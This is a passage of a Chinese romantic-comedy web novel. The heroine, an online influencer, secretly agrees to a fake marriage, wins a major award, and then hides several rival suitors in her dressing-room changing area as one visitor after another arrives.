“喂,你这样会——”邢葵话卡在嗓子里,看着不听她话的抓手落下,抓起一只兔子和恐龙,“会一箭双雕?” 妈妈!江妖精果然会施妖法! “那我的好孩子想要什么?” “我要小葵花!”邢葵激动,指向玻璃。 江玉鸣施起妖法,啊不是,他拍下了按键,观察抓手位置:“刘教授对我们说的话,你要听吗?” 邢葵看着抓手从小葵花上方滑过,心都提起来:“不听了,猜到一点儿。” 江玉鸣语调稍扬:“心情不好?” 邢葵盯着小葵花:“嗯,想玩抓娃娃开心开心,可是总抓不到,我都要生气了。” 江玉鸣弯唇:“都要气哭了。” 靠失忆抑制住对梁君赫的感情,继而又要靠找答案抑制住对失忆种种的伤心,然而,在这条路上前进数百日的她,找不到答案。 抓手落下,精准逮住小葵花,江玉鸣俯身取出葵花玩偶,递到邢葵手上,她高兴地翻来翻去看。 “我们结婚吧。”江玉鸣倏地出声。 邢葵一滞,仰头。 “我不用你喜欢我,我也有法子让我们日后必定能离成婚,我们假结婚吧。” 这段时间,江玉鸣建群开会,又将建群一事诬给许野,使得厉乘川对付周镜、周镜对付梁君赫,让他俩来不及或 想不到给他们身上添上限制条件——那时没人知晓限制条件也是错误解。 江玉鸣自身则耐心等待,等待梁君赫退场,等待他入场的时机。 一切都是为了这一刻:既然邢葵难以喜欢他,那么,他不苛求了。 他说,我们假结婚吧。 邢葵愣神地仰看江玉鸣,他艳气的脸专注认真,狭眸像落日时分中的玫瑰。 她的杏眼则如暮色倾洒的湖面,几秒后,邢葵抓着葵花玩偶的手猛地一紧,玩偶内置的发声设置叫出一声尖亮的“叽——”。 第103章 “老师,这么多礼服,穿哪一件啊?” 两个多月后,兆光文化换衣间,吴佑嘉伸出一只手,兴奋展示一衣架的昂贵礼服,红的、黄的,色彩斑斓。 “我最喜欢这件,金灿灿,最惹眼,老师穿上把出席盛典的其他红人都比下去。”她手指停到最后一件。 “太隆重了吧。”旁边,邢葵单臂抱了一只向日葵拟人样的毛绒玩偶,食指挠挠额角,“我又不一定获奖。” 她上身穿着白色毛衣,袖口一朵葵花,十二月冬至,2028年走向尾声,邢葵受邀去参加某个颁奖礼。 距离江玉鸣问她那个问题已经很久,她走向礼服架,抚摸柔滑的面料,那真是一个让人无法拒绝的诱人提议。 江玉鸣不再像其他人一样,向她求取爱情,只要成为她的法定丈夫,只用保持和以前一样纯贴贴的关系。 没理由不点头,兹事体大,邢葵还没跟任何人讲,所以才收到十根手指数不过来的礼服吧。 人们只当她分了手,在空窗期。 望着一件件式样各异的高定衣服,她有点头疼。 品牌赞助的不提,厉乘川、江玉鸣、周镜、许野、梁君赫各送一件,谢成雯、梁昭然、周梨也各为她准备一件,怎么还有来自江父和梁父的? 两位老父亲还送了贺卡,大夸特夸自家儿子,暗戳戳扁对方家儿子。 很好笑,但想到这两人,一个困住妻子当花瓶,一个冷暴力妻子追生男娃,邢葵就想将他们打包了和李正军一起寄出地球。 梁父从前看不上邢葵,如今被梁昭然架空失去实权,颜面无光,就想靠梁君赫追到邢葵,在江父面前给他挣点面子。 江父虽不想破坏江厉两家关系,但江玉鸣要是比不过梁君赫让他更不能忍。 邢葵不完全清楚二父不找她“给你五百万,离开我儿子”的原因,想来应该有梁君赫和江玉鸣手笔。 她不用因为他们的家庭吃苦,去解决她家庭的问题就好。 还有厉乘川……邢葵攥住厉乘川送来的礼服一角,那天过后她拜访过他家。 表达了对车祸发生以来,他送她手机、便宜租她房子、让她带薪休假……这些帮助的感谢。 “想谢我的话,答应我一件事吧。” 厉乘川一身黑色睡衣,靠在玄关乌黑的木柜,雕塑般的身体散着刚沐过浴的湿气,额角碎发蓬松。 “什么?你说,我能答应的一定答应。” 邢葵站在门外,只用往前挪一步,就能踏进他家,或者只需厉乘川拽一下,只是他是默默守护型,不走强取豪夺流。 “你账号上更新的病友解谜专题,最后一期还没更,告诉网友,谜底是:我暗恋你。” 邢葵一怔,快速眨了眨眼睛,这已经能被视作告白了,厉乘川说完,薄唇抿成直线,耳尖都飞上一层薄红,肩膀也好像僵硬成石头。 黑黑的睫毛垂下,厉乘川两眼覆盖浅浅阴影,指尖无意识地扯扯睡衣。 “让我涨一下支持我的cp粉,最近嗑你和梁君赫的太多。” 居然能从一位霸总嘴里听到cp粉这些词,邢葵惊讶,亦颇难为情,撩了下头发:“咳,行,正好我在犹豫最后一期更什么。” 暗恋她,的确也是真相。 过了会儿,她抬起一根食指,戳头婉拒:“抱歉啊,这里,真的不记得你了。” 厉乘川目光定定:“我理解,别再误解我是变态跟踪狂就好。” 好尴尬,邢葵蜷起脚趾,讪笑:“不会的不会的,也不能怪我嘛,大家都跟我说‘知人知面不知心’。” 厉乘川黑眸一眯:“周镜他们故意误导你?” 邢葵是来致谢和道歉的,绝对顺着他,猛猛点头:“对的!他们怎么能这样!太坏了!”还有个江玉鸣还藏着呢。 “确实太坏了。”厉乘川也顺着她,沉静的眼里微漾笑意,“我找他们算账。” “好!”邢葵拍手,找完他们可不能找我了哦,“我精神上支持你!” “不可能!”吴佑嘉大力拍了下手掌,“年度C位红人非老师莫属!” 邢葵抱着向日葵小人玩偶看向吴佑嘉,总之,那晚的对话以轻松结束,只是厉乘川虽然被她委婉拒绝,仍和周镜他们一样,不放弃。 “老师这一年从年头红到年尾,不颁给老师我会质疑有黑幕!”吴佑嘉激动地舞拳,挺起腰杆,“敢玩黑幕的人我看他是疯了,老师背后全是踢不动的铁板。” 见邢葵发怔,她收起气焰,小心地问,“老师在想什么?” “我在想要不要搬个椅子过来。” 邢葵抬下巴,指指架子上会发光的礼服们,“它们多少钱啊?” 这方面知识吴佑嘉懂一点,她混娱乐圈幕后时,经常见到艺人租借礼服:“除了这条几十万,其他都几百万。” 最便宜的来自梁父,他被子女制裁后手头不宽裕。 邢葵捏住某一条:“噢,那是不是说,我将它们卖掉,等于我一天内赚了几千万。” 吴佑嘉:“!” 品牌送来的礼服最后要送还回去,但其他人送的,无疑能兑换成实打实的钱。 小嘉双眼睁得赛铜铃,大力吸了一口空气,眼珠翻白,要摔倒。 邢葵搀住她,玩偶差点掉下:“我就说要搬椅子,他们好些个还送了搭配用的珠宝吧……” 珠宝……又是几千万……小嘉再吸一口凉气,头一歪晕倒在邢葵怀里。 她还了他们也不会收,邢葵抱着吴佑嘉,再次扫了遍礼服,抓住左边数第二件。 浅金色的缎面长裙经过颁奖现场座位,收腰,开叉,在灯光下如同流动的月光,邢葵坐下,手落到开叉的裙边。 裙边铺着一朵朵黄玫瑰,这条裙子,是江玉鸣所送,她要和他办婚礼,穿他送的更合适。 “C位盛典”是国内最权威的网络红人行业年度盛会,其中最大奖项名称为“年度C位红人”,等同于网红界的视帝影后奖,是大批红人的终生目标。 邢葵今年有希望拿,她也拿到了。 “她用动人的感情,创作生活无限风景,用积极的态度,照亮数不清的人生,她从死亡尽头回归,带给我们一次又一次奇妙历险。恭喜‘年度C位红人’——天天奇妙历险!” 邢葵听着主持人高亢地喊,大屏幕也同时显现她的信息,她站起身。 观众席最后排最高处,五个男人站一起,周梨和梁昭然站一起。 “厉总,解决了。” 厉乘川放下手机,江玉鸣在他身旁,手臂伏在栏杆,勾唇讥笑:“还真有跳梁小丑想玩黑幕。” 周镜手指点点栏杆:“愚蠢,就算没我们,邢葵今年热度远超竞争者,主办方为了保持奖项权威性,也不会颁给其他人。” “就是。”梁君赫环着手臂靠在墙边,“多少演技奖因为黑幕名声烂掉。” 颁奖台,邢葵接过奖杯,说了些获奖感言,主持人虎视眈眈,等她一说完立马和她互动。 “天天啊,最近赫拉索火得不得了啊,我认识的人都在发朋友圈!可惜我没抢到金花款。” 邢葵笑了下,赫拉索是一款向日葵拟人玩偶,白天她还抱过。 两个多月前,江玉鸣助她夹中葵花玩具,后来,它数次出镜直播间引起网友兴趣,一些人开始问她卖不卖周边。 经由她和背后团队商议和设计师设计,独属于天天奇妙历险的周边出世。 赫拉索,girasol,向日葵之意。 上个月末开售后供不应求,品质、营销,多方面发力,软乎乎的向日葵小娃娃每天都在得到更多人喜欢,明星艺人争相带货,超多网友大呼可爱。 有多种款式,金色花瓣款最为稀有,邢葵对主持人笑:“我车上有一只,待会儿我偷偷拿给你。” 主持人惊喜地捂住嘴:“哇,小声点小声点,别被旁人听见,不知道有多少人要跟我抢!” 观众席笑声一片。 “但我最想要的还是隐藏款,听说盲盒里有一件向日葵盆栽,是天天亲手织的……” “那个我给不了你哦。”邢葵摆手,“已经卖出去了,我都不清楚在谁手里,没看到网上有人 说。” “天呐,也就是说有人买到了,却没炫耀吗?!”主持人语调夸张地扬起,对向镜头,“买到天天亲织的朋友,如果你看到这儿,拜托你拍张照片让我们一睹眼福吧,求求!” 后台单人化妆间,邢葵送完主持人玩偶,坐到化妆台前,看了眼台面奖杯,闭上眼,又睁开眼,再次看了眼,又闭上眼,伸出手指去摸。 嘿嘿,有实体,年度C位红人奖,她真拿到啦。 吴佑嘉看手机:“兰姐要为老师开庆功宴。” 邢葵睁眼摸奖杯:“行!你们订吧,我请客,随便点。” 小时候,她的梦想是赚一个亿,此刻,广告、带货、周边……她账户上的钱每日俱增,已然超过一个亿。 别说吃火锅了,哪怕吃四千块一只澳洲皇帝蟹,她都能毫不眨眼地叫上一桌。 这心里,还有种不真实感,邢葵偷瞄一下在向兰姐汇报的吴佑嘉,确认她没看她,抬起奖杯就想咬一口。 一声轻笑从门口传来,江玉鸣靠在打开的门上:“不如咬我,我会告诉你疼不疼。” “咳,咳咳!”邢葵陷入咳嗽。 吴佑嘉更张大嘴,怀疑她的耳朵不是耳朵,而是外星人语言接收器,扫了眼两人,连忙找借口告退:“我去车上订餐。” 门关上,江玉鸣伸手上锁,走到她身边:“我确认过了,这里没监控,我想吃掉你的口红。” 邢葵忍不住问:“你听听,你说的是人话吗?” 江玉鸣捏住她的下巴,抬高,低下头来,十分自在地回:“我说的是老公话。” “……”烧,真烧,邢葵羞得脸热,忽而闻了闻,“你身上怎么没玫瑰味?” 绯红的唇近乎贴到她唇上:“他们也来了,你想被捉女干的话,我可以有。” “那你嘴里怎还有股薄荷味?” “嗯,来见你前特意刷了薄荷味的牙膏,要是有人发现你被亲过,方便赖给周镜。” 邢葵抿唇,失语了好一会儿,憋不住地重复:“你听听,你说的是人话吗?” 热舌抵上她下唇中心,她抹的可食用口红,倒是能吃。 卷、咬、吮,江玉鸣品尝完外面,撬开她的牙关试探里面,湿热的气息和字句一同缠绵送进。 “葵葵什么时候公开我的身份?” 邢葵仰着头,这个吻洋溢嫉妒和渴望,她安慰:“快了吧,别急嘛,先前我刚跟梁君赫分手,闪婚会被说闲话。” “很急,我迫不及待等公开,将我的处-男身送给你。” “……”你真的,跟江玉鸣对话,邢葵都觉得该在附近放个吸氧设备。 江玉鸣舌头长,亲得很深,绞着邢葵的呼吸,她喘气,“为什么不公开就不献身。” 冶艳的眸子满载情谷欠,江玉鸣在他要溺进去前,退出她的唇,换成又轻又慢的啄:“因为没名没分,就荒唐跟了你,你会当我廉价不够稀罕。” 不儿,他现在和跟了她有多大区别? “所以我要做贞洁烈男。”江玉鸣一本正经。 邢葵拍额头:“哥哥,你跟‘贞洁烈男’四个字有关系吗?” 江玉鸣僵了下,呼吸加急加重,腰都微微发颤,再次深吻她:“再叫一遍‘哥哥’,葵葵好甜!” 他又双叒叕兴奋了! 咚咚,啊啊啊别兴奋了!有人来了,邢葵急急踢了他一脚,江玉鸣非要亲完这个吻,还挑衅地用余光睨了眼门。 “你猜是谁?周镜?许野?厉乘川?我希望是梁君赫。” 我还希望是小嘉呢!邢葵没办法,加快速度,感觉像囫囵吞了个枣,但江玉鸣很满意,结束还吐息不稳地说:“下次再试试这么亲。” 邢葵瞪他,将他推到左边简易换衣间,拉上用于遮挡的帘子。 他也听话,那遮光帘并不及地,换衣间角落有一供暂时坐下或放鞋的台子,进去后,江玉鸣移步,站上去。 邢葵去开门,脸红好解释,就说是得奖心潮澎湃,门打开,是周镜。 那不好解释了。 不行!邢葵你可以!不等周镜出声,她先结巴地道:“周、周律师,你猜我银行里多少钱了?我刚数了,九、九位数,我要心脏病了!” 合情合理,实际的钱财远比奖项能带来的冲-击大。 “恭喜葵葵。”周镜没怀疑,进门温柔绅士地道贺,反手落锁,“有件事想跟葵葵说。” 他怎么也锁门啊!“想说什么?”邢葵走回她的座位,撑额,装成搔痒,偷瞧了下换衣帘下方,很好,江玉鸣乖乖躲着。 “我能转业从政,能借此和你的家人说,几年内不考虑成婚。” 周镜停在她面前,以为房间里就他和邢葵两人,眉眼清俊,直截了当道出他近段时日的筹谋。 他说他能转业从政,口吻轻轻松松,可此事绝不简单,周镜必定筹备了多日,直到确定能成,方才向她开口。 对周镜来说,他缺一项“限制条件”,即能重新跻身解决催婚的对象。 邢葵呆住,梁君赫那人精明自我,没向任何人泄露他分手的原因,也要求她送他分手礼物,别向外透露原因。 因此她官宣分手时,只说是“不可抗力”。 也因此,除了能调医院监控,看到分手现场的江玉鸣,目前其他兄弟仍在猜测“不可抗力”含义。 无人知晓,梁君赫充满优势的“时间限制”,恰恰也是他的劣势。 第104章 这下麻烦了,邢葵僵得像听到一二三木头人的第三声,她承诺过梁君赫不向外透露。 可周镜不知道,他镜框后,时常清冽沉静的眼神,轻轻地落在她的脸上,面目看上去从容,实则全神贯注。 他在等待,一个正向的答案。 邢葵眼皮跳动,梁君赫说眼皮跳可能代表灾祸,不止周镜,许野厉乘川也不清楚时间限制是错的,不会都要来一遍吧? 不能自己吓自己! 她斟酌道:“周律师,我当前不考虑恋爱。” “可以。”没曾想,周镜连半秒都没停顿地接受,明明他为能有限制条件筹备许久,他却丝毫不以此道德绑架。 邢葵露出笑,接着听周镜继续道,“我有一个请求。” “你说。”邢葵心态放松,做好答应准备。 “等你考虑恋爱时,第一个考虑我。” 一帘之隔,江玉鸣踩在角落台子,高长的身体随意倚靠白墙,剥了颗玫瑰味的接吻糖,抛进嘴里,兴味盎然地舔。 那舌头仿佛舔到了邢葵唇边,从唇左舔到唇右,带黏胶似的,将她的嘴黏上。 “很为难吗?”周镜往她靠近一步,清瘦的手掌按到化妆台边缘。 当然为难啊,她的回答有两个人在听。 围绕着化妆镜的明亮光线打在周镜镜片,他侧脸紧绷,好似咬了下后槽牙,“我看过你发的所有帖,你从不吝啬于哄许野、梁君赫。” 他看着她,“哄我。” 邢葵怀疑她连眼球都震颤起来,离得很近,她甚至能看清周镜脸颊微小的绒毛,他散发着浅浅的薄荷香气。 一位严于律己的律师,低声向她求哄。 此刻氛围,特别适合接吻,周镜薄润的唇微张,透出想吻她的欲望。 邢葵咽口水,手抓住椅子扶手,他很蛊,但左边帘子里还有个蛊的,连亲两蛊会要她的命,救命、救命,救命! 咚咚。 啊,救她命的人来了!邢葵扭颈看,周镜站直,目光也冷淡投到上锁的门。 约半个小时前,他们几位老友在颁奖大楼外各自离去,此后,周镜折回。 有没有可能,也有兄弟会折回? 周镜注视着门,如果门外是兄弟,他倒想听一听兄弟要对邢葵说什么。 知己知彼,百战百胜。周镜提步,他要躲于暗处,灯光在他镜片上扫过,薄荷香从邢葵右侧远离。 他移向左侧。 等等!邢葵猝地站起,周镜已然哗啦拉开换衣间 遮挡帘,角落小台,江玉鸣站姿随意,抬高一只手,极为挑衅地打招呼:“嗨。” 周镜停顿一秒,伴随吞咽动作,瘦颈上的青色血管移动。 顷刻间,邢葵感觉她坐到了法庭被告席,对面某周姓律师磨着处刑刀,咔嚓咔嚓,即将置她于死地。 然而,周镜几不可见地上弯唇角:“原来葵葵哄过我了。” 他到访时,邢葵因为江玉鸣脸红,曾向他找借口解释。 葵葵愿意费心骗他,怎么不算是哄呢? 江玉鸣笑,收到挑衅,舔了下唇,意味深长:“骗你也算哄,那你来之前,葵葵对我算是宠了。” 哗啦,邢葵大力扯上帘子,你们闹你们的,别让外面听见哈。 她跑过去开门,先打开一条门缝,瞧见非比寻常的性感体魄,拉开门:“许野。” 喊声传进换衣间,周镜走向江玉鸣所在,抬起鞋,踩了上去。 那台子为换衣时,放鞋、衣服或休息使用,占地约一平方米,等于四个鞋盒大小。 两个人一起站,不算拥挤,还能互发消息。 周镜点手机:【宠?没记错的话,你在和梁君赫的竞争中一败涂地。】 江玉鸣也拿起手机:【好兄弟,胜败乃兵家常事,你被邢葵拒绝不也没丧气吗?友情提醒,你还用制造限制条件,许野天然就有哦。】 天然不能立刻结婚的许野走进室内,邢葵还没坐到座位,他跟在后面,就忍不住地拥住她。 “葵葵,恭喜得奖。”厚重的气息落到她颅顶,嗓音像喝了浓醇的牛奶咖啡。 隔着帘子,周江二人一并瞧见那双跟在小高跟后头的运动鞋,突然就贴到了小高跟后。 江玉鸣打字:【你看,弟弟抱到了,你刚抱到了吗?】 “许野。”邢葵拍拍他蓝色的袖子,示意他松开,“有事吗?” 许野听话松臂,走到她正面,他又高又壮,将光线遮得七七八八,好比从圣殿中迈出的骑士,却因看到邢葵而害羞。 他紧抿唇线好几下,问:“你现在心情好吗?” 邢葵看了眼桌面奖杯:“那肯定的,我这会儿精神亢奋到能跑马拉松。” “真好。”许野攥住她两只手,抬高到他热烘烘的胸前,褐色的眼真心诚意地望着她,“那我能回到你身边吗?” 邢葵怔了怔。 他攥紧她的手,许野牢牢记得,邢葵国庆节带他见家长,其中一个原因是,放假人会开心,人比较好说话。 怕她拒绝,他压下渴望等待,选择在邢葵获奖的大日子询问。 “奥运过去数月,我的名字响彻全国,你的亲戚们,即使还会说我们的年龄差,也不会当着你家人的面,葵葵,我还有一年才到法定结婚年纪。” 可时间限制已经是错误答案了。 梁君赫绝对是算到这一刻,故意提前让邢葵许给他诺言。 伤脑筋,邢葵扯出一只手抓头,只能给出给周镜的答案:“许野啊,你听我说,我目前不考虑恋爱。” 换衣间内,周镜听着邢葵相同的回复,平平静静,对答案满意。 江玉鸣瞄了眼周镜,迷人地笑,她如今考虑的是办婚礼。 要是手边有酒,江玉鸣都想品上一口,无论周镜许野,还是其他人来访,他都能处变不惊。 这些人全都要邢葵的心,他不要,他已经nextlevel。 “那我们能接一下吻吗?” 江玉鸣:“?”他才不要和许野间接接吻! 干净的指尖抓了下墙,他想,好歹先让邢葵喝一下漱口水。 不知许野带没带,早知今日,江玉鸣就往她包里塞几条便携包装漱口水了。 邢葵在烧烤,不,思考,前前任恳求她赏一个吻,而一米距离外,躲着她快要登位正宫的追求者和前前前任。 妈妈呀!苍天呐!再来个人救救她的命吧! 咚咚,苍天听到了她的心声,慈悲地又赐给她一位访客,邢葵要松气,又不敢松,看看许野。 周镜来了,许野来了,下一个不会是厉乘川吧? 不管了,解决一个算一个,许野就不用藏起来了,有他在场,厉乘川至少不会也向她求吻。 孰料,许野低头接近她,高挺的鼻子嗅了嗅:“你身上有股周哥的味道,周哥是不是在这里?” 他简单扫了圈室内,凭借直觉,径直走向左方拉着的帘子。 帘子甫一拉开,邢葵大力一推,破罐子破摔,你也进去玩吧,别找她麻烦。 她再一次跑去开门。 换衣间也再一次迎来新人,江玉鸣和周镜分别抬手打招呼,一个“嗨”,一个没说话。 邢葵身上的薄荷味来自江玉鸣,但周镜和许野都不知情,彼此互看,眼神交锋。 江玉鸣看好戏,只是周镜许野怎么会放过他,也将他纳入视线攻击范围。 他装无辜地摊摊手,示意许野上台。 一平方米面积的台子,站三个男人,有些拥挤了。 幸好下一位来访者不是男人,邢葵本以为会是厉乘川或者梁君赫,将门推开小缝,却是周梨。 她热情地抓住门框,从缝里挤进来,扑向她:“好姐妹!恭喜你得大奖!憋死我了,我特意等了几十分钟,确认周镜他们真走了才过来。” 呃……他们有三个都正在这间房里耶。 “来来来。”周梨拉住邢葵走,让她坐到化妆台前,拿出手机,“铛铛铛铛~” 屏幕上是一张男性照片,邢葵眼熟,貌似是某个二线小生。 “你都分手两个多月了,是时候谈下一个了,姐妹我为你准备了一相册的男人,你随便挑!” 邢葵失声,周疯子,不愧是周疯子。 结识周梨将近两载,她始终不改初心,厌恶她的兄长:“快看,先前是你点名要梁君赫,我不阻止你,但周镜的兄弟最好还是离远些,天晓得他们自不自爱。” 好家伙,一下开罪帘子后面三位。 邢葵张张嘴,试图救周梨:“我觉得,没凭没据的事,还是不要乱讲。” 周梨大咧咧挥手:“没事儿,我都是为你好,你要还想选周镜那些好友,我跟你说,我只推荐厉乘川。” 好家伙,别讲了,快将帘子后三位得罪透了。 邢葵拽她衣袖,周梨毫无感知危险的能力,吧啦吧啦:“厉乘川的洁癖可不是称假的,我永远记得,小时候我去他家拜年,得要先抽血做检查,恐怖如斯。 我都怀疑周镜这么瘦,就是总跟他相处,抽血把身体抽亏了。 他是真一点脏污都忍不了,我估计他下面——” 剩下的话被邢葵堵塞,她捂住周梨找死的嘴,别说“粉色的”,里头三位会让你看天空都是五颜六色的。 咚咚,正在这时,第五位访客敲门,我的天,她今儿是犯小人了吗? 挂钟显示将近晚上七点,这栋大楼某处,同款挂钟下,一女一男正在对话。 一个中年女,微胖,穿浅蓝色西装搭深蓝条纹领带,像某个领导阶层。 一个年轻人,打扮时尚,瘦,皮肉松弛、不健康的瘦,画着眼线,涂着口红,是近年走红的一位舞蹈赛道网红,网名“短腿苏苏”。 “为什么C位奖是天天奇妙历险拿,我付出了那么多努力!”短腿苏苏锤他可见排骨的胸口,一副受到天大委屈的模样。 女领导好生安慰,眼底暗藏鄙夷:“我明白,董总跟我们提过你,只是天天今年的热度你懂吧,来年你继续加油,还有机会。” “她火我也火啊,我原创的踢腿舞多少明星翻拍。”短腿苏苏十分不服,“吴姐,您悄悄告诉我,她是不是找了比我更大的关系?” 领导差点翻白眼,就一项踢腿舞,人天天年初综艺爆红,此后和顶流交往……包括近期推出的赫拉索,人家今年火个不停! 她真想怼他,奈何短腿苏苏抱到只大腿,她必须得做做表面功夫。 “别问了,和背景没关系,你也别太为没得奖痛苦,成百上千的粉丝会心疼你。” “我 就猜到她是靠背景!” “?”听不懂人话? 短腿苏苏气愤地跑走,泪水都弄花眼线,两边眼角各流下一条黑墨,忽然瞥见什么。 他凑到墙边,刚进电梯的人好像是梁君赫?一定是了,梁少爷就是天天找的背景!短腿苏苏跟上去,公开分手的人还牵扯不清,他指不定能拍到什么丑闻。 第五个人敲响邢葵化妆间的门,并喊道:“邢葵,是我,在吗?” 音色低沉如大提琴音,成熟富有磁性,是厉乘川,邢葵掌心下,刚提到他的周梨狂喜,唔唔唔的,像是在说:“粉色的来了!不信你亲眼瞧瞧!” 不能让周梨见到厉乘川,她那张嘴八成会吐出惊世骇俗的话,邢葵犯难,厉乘川又敲门,她心一横,把周梨推进换衣间。 看着台子上眼神如电的三名男人,周梨觉得她大脑也被车撞过了,转不过来。 邢葵拉上帘子去见厉乘川,门打开,他正捧着一只礼盒,是空的。 “我想你的奖杯需要只盒子放?” 盒子是黄色的,他是粉色的……呸呸呸,快忘记,千万别受到周梨影响。 “谢谢。”邢葵接过,往内走。 “我打扰到你了吗?你看起来在卸妆。”厉乘川跟在她身后,关心地问。 “啊?”邢葵意外,她没啊。 厉乘川点点他线条明显的薄唇:“领奖时你抹了口红。” 瞬时,邢葵滞住脚步,头皮都渗起凉意。 左边帘后,许野回忆起薄荷气味,拧着眉看向周镜;周镜又没吃口红,若有所思地将视线投向江玉鸣;江玉鸣老神在在,没证据别冤枉好人。 而台子旁边,周梨颤抖地抬起手,指他们三个人。 “你们三个崽种,谁准你们碰我姐妹了?让,给我让个位置!” 她无声地做口型,遮挡帘没长到地面,要想藏严实须要上台。 只是那地方总共就四个鞋盒两两并排大小,站三个男人已是不易,再添一位是也能站,不过肢体上难免产生接触。 男女有别,江玉鸣和许野立即避让,鞋子都踩到台子边缘线,联合将周镜挤到外围。 他是周梨哥哥,穿着衣裳有一些胳膊上的触碰不碍事。 然而,周镜也同样高居周梨最最讨厌的人榜首,她完全忍耐不了和他站得近,浑身像有跳蚤,哪哪都不适。 一二三,忍三秒是她的极限,她受不了了! 她抬手,使出她全身力气一推! 帘外,邢葵将奖杯放进礼盒,按住要蹦出来的心,对厉乘川道:“是,我是在卸妆,你有事要找我吗?” “嗯,我——” 砰!帘子坠落,几十枚圆圈型的挂钩哗啦啦落地,周镜压着许野,许野压着江玉鸣,叠叠乐地撞到地面。 周梨还保持着她推人的动作:“我就是想让周镜离我远点,没想将他们推倒啊?” 三人倒在地上,最上方周镜扯掉挡住视线的布帘,和中间许野、最下方江玉鸣相继抬起头。 沉默,是今晚的康桥。 三人同时抬起一只手,向好兄弟厉乘川打招呼:“嗨?” 霎时间,宛如石破天惊,邢葵听见天边剧烈的轰隆声。 第105章 轰隆、霍嚓,在阵阵惊雷中,邢葵脑子里响起一句诗:山穷水复疑无路,一见尽头是坟墓。 她才不要进坟墓!绷紧小腿肌肉,往后挪了一大步。 原本她和厉乘川站在一排,如此便躲到了他侧边身后。 他的背宽阔,想必心也宽阔,不会和她计较吧? “你们也来追邢葵?” 厉乘川下颌抬起,音色很冷,确实无论任何事都不会跟邢葵计较,往一旁些微侧身,让他的身影更好地挡住邢葵。 同时也以身体划出一条界限。不同邢葵计较,不代表他能容忍换衣间故意藏影匿形的四个人。 灯光下,格外幽邃的黑眸盯着地上三位:周镜、许野,还有,江玉鸣。 邢葵感觉厉乘川的提问有点不对劲,好像是在试探江玉鸣,心脏停跳一拍。 “咳。”被压在最底下的江玉鸣咳嗽了声,补上缺失的心跳,“老厉,你要对付情敌前能不能先救下哥们?他俩快将我压扁了!” 真惊人的临场应变能力,怪不得能数次躲过厉乘川怀疑。 一句话就将他和周镜许野分成两方人。 但厉乘川不能被轻易忽悠,一双黑眼如凝了层冷冽薄冰,点出关键:“几十分钟前,你们都走了。” 既然江玉鸣都离开了,何故还会折返? 化妆间温度骤降几度,邢葵头脑呼呼呼地刮风暴,尝试寻找这局的解。 然而不管怎样,江玉鸣的折返,是再如何花言巧语,都无法改变的事实。 周镜爬起来,记挂邢葵消失的口红,冷脸倒油:“是啊,我回来是追葵葵,你找葵葵做什么?” 许野爬起来,配合哥哥加菜:“对。” 完蛋了,死局啊,根本没解。 “什么?你又误会我什么了?”江玉鸣冶艳的脸生起无辜之色,往下皱的内眼角都显出困惑。 邢葵愣了下,他还能破局?还是狡辩? 别逞能啊,实在不行,她干脆提前公开下江玉鸣要跟她办婚礼好了。 结婚不同于交往,事关重大,人多嘴杂,邢葵先前没向任何人透露,一方面是怕祸从口出,事情还没发芽就被扼杀。 另一方面,是江玉鸣觉得,他憋屈太久,瞒着他的兄弟,等全网公开给他们暴击,更爽。 看上去,江玉鸣还是想要“更爽”,不打算此刻坦白,他从狼藉的地面起身,轻拍肩头衣褶,慢条斯理。 “周镜、许野,想转移战火,也不能靠诬陷,不是独一无二的女人,我哪里瞧得上。” 邢葵站在厉乘川身后,瞪了江玉鸣一眼。 他的话得反着听,潜在含义是,所以独一无二的她,他瞧上了。 敢在厉乘川面前说反话,江医生贼胆包天! “闭嘴,不必夸耀你从小奇差的眼光。”厉乘川太阳穴附近的筋跳了跳,第一反应是维护邢葵。 周镜暗自冷笑,江玉鸣怕正是算准厉乘川听到恶言后的第一反应,他会先维护,一旦他维护,就容易踏入陷阱。 不过,这也不足以忽悠几次三番被翘墙角的厉乘川。 江玉鸣唇角不克制地上翘,藏着某种在凶险边缘横跳的愉悦:“喂,老厉,为个女人这么攻击兄弟,我明明发信息通知你了啊。” 啥? 邢葵目瞪口呆。 啥消息?这可不能胡编!厉乘川明显没收到过他的消息,眉头都蹙了一下。 “你没瞧见?”江玉鸣拿起手机,深深叹了一口气,“哎,每天做手术就够累了,还要被迫雄竞,我有证据……啊哈,呵。” 他僵了僵,一只手抬起,摸耳后头发,露出难得的尴尬情绪,“没发过去,你看吧。” 厉乘川接过手机,江玉鸣和他的聊天页最下方消息编辑栏,有一条编辑好的消息,兴许是发的时候仓促,没点上。 【老厉,我看见周镜的车返回了,我跟上去瞧瞧有没有好玩的,别怪我没提醒你啊。】 邢葵踮着脚尖,从后头偷瞧屏幕,好家伙,江玉鸣不仅会演,还提前备了圆谎假证。 他不是来找她,他是跟踪周镜,合理哎。 周镜看了眼礼盒里邢葵的奖杯,今天也适合给江玉鸣颁个影帝奖,要不是他是他后面进的化妆间,他都得信一信。 何况本就不清楚江玉鸣对邢葵有心思的厉乘川。 厉乘川眉宇拧起,证据齐全,人的表现也无异样,似乎是没问题,只是,还是过于巧了…… “还怀疑我?老厉,没发现你的关注点都被引到我身上,周镜许野美美隐身了吗?” 这时,未上锁的门被打开,啪!数不清的礼花彩带冲进室内,梁君赫手持礼炮,笑得小虎牙尖端都露出来:“恭喜葵葵 获奖!” 这几个月,梁少爷将头发重新染回桃花粉,媒体问他为什么,他说,他要“招回桃花”。 瞧清室内,漫天彩带中,梁君赫收起小虎牙:“哟,拍艺术照不带个我吗?” 邢葵沿着他的视线瞧,换衣帘倒地,帘后是自觉做错事在默默悔过的周梨,帘上是周镜加许野,帘前是拿回手机的江玉鸣,江玉鸣再前面是厉乘川,厉乘川再后面是她。 这场景,加彩带,是挺艺术的。 “过分,都怪附近不卖礼炮,害我来得最晚!”梁君赫随手扔掉礼炮,走向邢葵拉她到他背后,“葵葵站我后面。” “她为什么要站你后面?”厉乘川一见到梁君赫头都疼,暂时放下江玉鸣。 “还用理由?”梁君赫斜他一眼,“哥,你看看你,非要我伤你的心,我是前男友你是吗?” 邢葵听见厉乘川加重的呼吸声,他的唇抿成一条直线,微不可见往下压的唇角,泄露出一丝克制的怒气。 “是么,前男友,很稀有吗?”厉乘川冷讽,最后一个字音极轻微地上扬。 梁君赫捏拳,他不是富有自制力的性格,有气当场就发:“不稀有怎么了?你想当还当不上呢!话说回来哥,你怎么厚此薄彼,将周哥和许野都踢出群,怎么不踢我?” 他是群主他如何踢! 邢葵都想跑了,房间里这些人一个比一个棘手…… 